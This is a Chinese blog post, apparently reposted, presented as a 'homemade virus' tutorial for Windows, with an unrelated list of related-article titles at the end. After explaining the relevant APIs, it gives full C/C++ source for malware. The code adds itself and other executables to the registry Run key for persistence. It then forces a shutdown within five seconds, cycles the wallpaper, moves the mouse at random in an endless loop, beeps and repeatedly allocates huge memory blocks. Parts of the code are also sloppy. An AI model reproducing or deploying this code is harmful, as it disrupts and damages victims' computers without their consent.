自制病毒——控制桌面背景鼠标以及开关机

目录

  • 理论知识

    • 修改桌面背景方法
    • 控制鼠标方法
    • 开机自启动方法
    • 关机方法
  • 实现
    • 修改桌面背景代码
    • 控制鼠标代码
    • 开机自启动代码
    • 关机代码
  • 代码
  • 参考

一 理论知识

1.1 修改桌面背景方法

在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo

该函数也可以在设置参数中更新用户配置文件,这个函数还有很多其它功能,比如获取桌面工作区的大小。

BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);

uiAction:该参数指定要查询或设置的系统级参数。其取值如下;

SPI_GETACCESSTIMEOUT:检索与可访问特性相关联的超时段的信息,PvParam参数必须指向某个ACCESSTIMEOUT结构以获得信息,并将该结构中的cbSjze成员和ulParam参数的值设为sizeof(ACCESSTIMEOUT)。SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打开活动窗口跟踪(激活该窗口时鼠标置为开状态),pvParam参数必须指向一个BOOL型变量(打开时接收值为TRUE,关闭时为FALSE)。SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通过活动窗口跟踪开关激活的窗口是否要置于最顶层。pvParam参数必须指向一个BOOL型变量,如果要置于顶层,那么该变量的值为TRUE,否则为FALSE。SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活动窗口跟踪延迟量,单位为毫秒。pvParam参数必须指向DWORD类型变量,以接收时间量。SPI_GETANIMATION:检索与用户活动有关的动画效果。pvParam参数必须指向ANIMATIOINFO结构以接收信息。并将该结构的cbSize成员和ulParam参数置为sizeof(ANIMATIONINFO)。SPI_GETBEEP:表示警告蜂鸣器是否是打开的。pvParam参数必须指向一个BOOL类型变量,如果蜂鸣器处于打开状态,那么该变量的值为TRUE,否则为FALSE。SpI_GETBORDER:检索决定窗口边界放大宽度的边界放大因子。pvParam参数必须指向一个整型变量以接收该值。SPI_GETDEFAULTINPUTLANG:返回用于系统缺省输入语言的键盘布局句柄。pvParam参数必须指向一个32位变量,以接收该值。SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于组合柜的动打开效果是否允许。pvParam参数必须指向一个BOOL变量,如果允许,那么变量返回值为TRUE,否则为FALSE。SPI_GETDRAGFULLWINDOWS:确定是否允许拖拉到最大窗口。pvParam参数必须指向BOOL变量,如果允许,返回值为TRUE,否则为FALSE。对于Windows 95系统,该标志只有在安装了Windows plus!才支持。SPI_GETFASTTASKSWITCH:该标志已不用!以前版本的系统使用该标志来确定是否允许Alt+Tab快速任务切换。对于Windows 95、Windows 98和Windows NT 4.0版而言,快速任务切换通常是允许的。

更多

uiParam:uiParam 在参数说明中所有为ulParam均为错误。

这个参数值设为true即可。

pvParam:与查询或设置的系统参数有关。关于系统级参数的详情,请参考uiAction参数。否则在没有指明情况下,必须将该参数指定为NULL。

在修改背景图片时为图片信息,PVOID类型。

fWinlni:如果设置系统参数,则它用来指定是否更新用户配置文件(Profile)。亦或是否要将WM_SETTINGCHANGE消息广播给所有顶层窗口,以通知它们新的变化内容。该参数可以是0或下列取值之一:

SPIF_UPDATEINIFILE:把新的系统参数的设置内容写入用户配置文件。SPIF_SENDCHANGE:在更新用户配置文件之后广播WM_SETTINGCHANGE消息。SPI_SENDWININICHANGE与 SPIF_SENDCHANGE一样。

返回值

如果函数调用成功,返回值非零:如果函数调用失败,那么返回值为零。

1.2 控制鼠标方法

控制鼠标坐标的方法同样也时调用一个API,GetCursorPos和SetCursorPos

GetCursorPos用于获取鼠标句柄

#include<stdio.h>
#include<windows.h>
int main()
{POINT p;GetCursorPos(&p);return0;
}

SetCursorPos用于移动鼠标

在使用GetCursorPos获取鼠标句柄之后,可以调用SetCursorPos移动鼠标,它的两个参数分别是x轴和y轴。

函数原型:BOOL SetCursorPos(int X,int Y);
参数:
X:指定光标的新的X坐标,以屏幕坐标表示。
Y:指定光标的新的Y坐标,以屏幕坐标表示。
返回值:如果成功,返回非零值;如果失败,返回值是零,若想获得更多错误信息,请调用GetLastError函数。
备注:该光标是共享资源,仅当该光标在一个窗口的客户区域内时它才能移动该光标。

1.3 开机自启动方法

注册表

开机自启动的实现方法就是通过注册表实现,在注册表中有固定的开机自启程序设置位置

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

在这几项中有我们电脑中的开机自启动程序信息,

例如这个WeChat就是开机时的微信登录程序。

注册表读写方法

RegCreateKey

// 打开注册表
LONG WINAPI RegCreateKey(
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpSubKey,
_Out_ PHKEY phkResult
);

hKey
指向当前打开表项的句柄,或者是下列预定义保留句柄值之一,实际上就是注册表中的几个分支。

lpSubKey
指向一个空终止的字符串指针,指示这个函数将打开或创建的表项的名称。这个表项必须是由hKey参数所标识的项的子项

phkResult
这是一个返回值,指向一个变量的指针,用来接受创建或打开的表项的句柄。当不再需要此返回的注册表项句柄时,调用RegCloseKey函数关闭这个句柄。

RegSetValueEx

// 读写注册表
LONG RegSetValueEx(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData
);

hKey
一个已打开项的句柄,或指定一个标准项名

lpValueName
指向一个字符串的指针,该字符串包含了欲设置值的名称。若拥有该值名称的值并不存在于指定的注册表项中,则此函数将其加入到该项。如果此值是NULL,或指向空字符串,则此函数为该项的默认值或未命名值设置类型和数据。

Reserved
保留值,必须强制为0

dwType
指定将被存储的数据类型,该参数可以为

REG_BINARY 任何形式的二进制数据
REG_DWORD 一个32位的数字
REG_DWORD_LITTLE_ENDIAN 一个“低字节在前”格式的32位数字
REG_DWORD_BIG_ENDIAN 一个“高字节在前”格式的32位数字
REG_EXPAND_SZ 一个以0结尾的字符串,该字符串包含对环境变量(如“%PAHT”)的未扩展引用
REG_LINK 一个Unicode格式的带符号链接
REG_MULTI_SZ 一个以0结尾的字符串数组,该数组以连接两个0为终止符
REG_NONE 未定义值类型
REG_RESOURCE_LIST 一个设备驱动器资源列表
REG_SZ 一个以0结尾的字符串

lpData
指向一个缓冲区,该缓冲区包含了欲为指定值名称存储的数据。

cbData
指定由lpData参数所指向的数据的大小,单位是字节。

1.4 关机方法

Windows 系统自带一个名为Shutdown.exe的程序,可以用于关机操作(位置在Windows\System32下),一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的,同时该程序也可以用于终止正在计划中的关机操作。

shutdown-a 取消关机
shutdown -s 关机
shutdown -f 强行关闭应用程序
shutdown -m \\计算机名 控制远程计算机
shutdown -i 显示“远程关机”图形用户界面,但必须是Shutdown的第一个参数  
shutdown -l 注销当前用户
shutdown -r 关机并重启
shutdown -s -t 时间 设置关机倒计时
shutdown -h 休眠

二 实现

2.1 修改桌面背景代码

图片信息使用了一个PVOID数组,并通过一个for循环不断切换桌面背景。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;int main(){PVOID s[10] = {(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,...(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"};SystemParametersInfo(20, true,s, 1) ;for(int i=0;i<10;i++){SystemParametersInfo(20, true,s[i], 1) ;Sleep(1000);//控制时间间隔}return 0 ;
}

2.2 控制鼠标代码

利用随机数和while死循环达到鼠标不受控制疯狂随机移动的功能。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;int main(){POINT sb;srand((unsigned)time(NULL));GetCursorPos (&sb);//获取鼠标坐标while(1){SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标Sleep(1);//控制移动时间间隔}return 0 ;
}

2.3 开机自启动代码

ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);

第二个参数是项名称,第五个参数是要开机启动程序的路径位置,最后一个参数是第五个参数路径字符长度。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;int main(){HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTCHAR p[64] ;long ret;ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);if(ret==ERROR_SUCCESS){ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21);  // 主if(ret==ERROR_SUCCESS){// 写入成功}else {// 写入失败cout << "Write filed !" ;}}else {// 注册表打开失败cout << "Read error !" << endl ;}    return 0 ;
}

2.4 关机代码

这个功能实现比较简单。

#include<stdio.h>
#include<windows.h>int main(){// 五秒关机system("shutdown -s -t 5");return 0 ;
}

三 代码

3.1 注册程序,将病毒主体加入开机自启动

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;int main(){HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTCHAR p[64] ;long ret;ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);if(ret==ERROR_SUCCESS){ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21);  // 主ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要动作ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//监控实时变化if(ret==ERROR_SUCCESS){// 写入成功}else {// 写入失败cout << "Write filed !" ;}}else {cout << "Read error !" << endl ;}return 0 ;
}

3.2 病毒主体,在上方代码实现开机自启动之后,这段代码可以不断修改壁纸,控制鼠标以及关机。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;int main(){POINT sb;PVOID s[10] = {(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"};srand((unsigned)time(NULL));system("shutdown -s -t 5");SystemParametersInfo(20, true,s, 1) ;GetCursorPos (&sb);//获取鼠标坐标int i = 0 ;while(1){int *p = (int*)malloc(10000000000) ;printf("\a");SystemParametersInfo(20, true,s[i], 1) ;if(i>=9){i = 0 ;}SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标Sleep(1);//控制移动时间间隔}return 0 ;
}

四 参考

Github地址 : Github

转载于:https://www.cnblogs.com/LexMoon/p/Virus.html

自制病毒——控制桌面鼠标以及开关机相关推荐

  1. 树莓派控制局域网内笔记本电脑开关机

    开机 配置电脑端 设置BIOS允许从网卡启动 打开网络和共享中心--以太网--属性--配置--电源管理--允许此设备唤醒计算机 配置树莓派 # 安装wakeonlan sudo apt install ...

  2. 手机控制NodeMCU实现远程电脑开关机

    NodeMCU实现远程电脑开关机 1.确认PC主板支持WOL(Wake on Lan) 2.阿里云物联网平台设置 3.NodeMCU(开机棒)部分程序编写 4.编译手机App(仅支持Android) ...

  3. diy nas配置推荐2019_Server2019+htpc+NAS搭建家庭数据中心+远程唤醒开关机+晒晒桌面...

    上传和下载速度还不错,基本稳定在110M/S, 跑满千兆网络, 下图一个下载,一个上传,始终稳定在这个速度 12.jpg (95.47 KB, 下载次数: 0) 2018-12-22 16:50 上传 ...

  4. python语音控制智能家电_Python 树莓派智能音箱语音控制电脑开关机-Python 实用宝典...

    完成下面这个有趣的实验,你所需要的东西有: 1.路由器(能够形成局域网,且电脑已用网线连接) 2.一个智能音箱(本教程使用的是亚马逊 Echo Dot 2) 3.主板支持wake on lan (大部 ...

  5. Linux系统安全及应用(账号控制、su、sudo、开关机安全控制、终端登录安全控制等)

    Linux系统安全及应用 一.账号安全控制 1.系统账号清理 2.密码安全控制 2.1设置密码有效期 2.2要求用户下次登录时修改密码 3.命令历史限制 4.终端自动注销 二.su命令 1.使用su命 ...

  6. python控制电脑关机_Python利用智能音箱语音控制电脑开关机

    完成下面这个有趣的实验,你所需要的东西有:1.路由器(能够形成局域网,且电脑已用网线连接) 2.一个智能音箱(本教程使用的是亚马逊 Echo Dot 2) 3.主板支持wake on lan (大部分 ...

  7. 魔改插线板,让电视控制周边设备开关机

    一.我的需求 本人是一个极简主义风格的人,自从用了N1盒子刷了coreELEC 系统后,就不断的进行折腾,跟大家说下我的心路历程. 1.我家很少看电视,不想因为偶尔开一次电视就每个月交24块钱,所以把 ...

  8. SimFAS中控iPad控制电脑开关机实现方法

    ​​​​​功能实现: ipad 控制电脑开机和关机(正常关闭系统+关闭电源) 下面先介绍使用 ipad 中控 正常关闭系统功能的实现: 注意:切勿直接切断电脑电源,这样会导致系统损害或者硬盘损坏, 正 ...

  9. 通过手机、电脑远程开关机,Windows和linux机手机,电脑相互控制

    由于工作需要,需要经常在家远程公司电脑,处理一些工作,如果电脑一直开机也浪费电,所以想到通过电脑,或自己的手机远程控制公司控制台电脑,方便工作,所以在网上收集了下资料,现整理如下. 首先看看远程唤醒技 ...

  10. 使用ESP8266/ESP32 实现智能语音控制电脑开关机

    最近买了个台机放客厅里接电视玩游戏,另外还有跑程序计算的需求所以通过笔记本电脑使用RDP或Parsec来远程控制,当然瘾犯了也能云游戏.路由器在另一个房间所以是无线网卡链接,用的最好的AX210+10 ...

最新文章

  1. [导入]用程序来还原数据库(一个遗留了两年的问题)
  2. CSS深入研究:偷窥beautyGirl身材 - height
  3. Android 4.0的图形硬件加速及绘制技巧
  4. python计算圆面积保留两位数_python中怎么实现保留两位小数
  5. SQL2005 express升级到2008企业版解决4096限制问题
  6. 我的Go语言学习之旅四:各种变量的声明
  7. .NET Core跨平台的奥秘[上篇]:历史的枷锁
  8. 十.jmeter性能测试基础实践(2)
  9. 佛理(引用别人的东西,怕忘记了不好找,拿来了,哈哈)
  10. 微信小程序的appid
  11. 火狐查看密码_在Firefox中查看和删除存储的密码
  12. Java-枚举类enum及常用方法
  13. 在form表单中添加一个隐藏的reset按钮,
  14. awtk + scons资源/问题/调试
  15. 柠檬智慧 java,智慧职教2020Java程序设计基础(哈尔滨职业技术学院)作业答案
  16. 钱,才是成年人活着的最大底气
  17. 常见开发相关变量命名词汇
  18. java图书推荐推荐管理系统
  19. openstack九大模块
  20. K8s之Pod的健康检查

热门文章

  1. Spring整合MyBatis之SqlSession对象的产生
  2. List集合之LinkedList
  3. 【前端基础进阶】JS原型、原型链、对象详解
  4. 基于Spring Boot2 + Spring Security OAuth2 实现单点登陆(二)
  5. Mysql中间件代理 Atlas
  6. 【246天】跃迁之路——程序员高效学习方法论探索系列(实验阶段04-2017.10.09)...
  7. yum info 查不到nginx下载info的问题
  8. Swift3.0P1 语法指南——控制流
  9. (转)C#Interface简介
  10. java构造方法不允许调用重载方法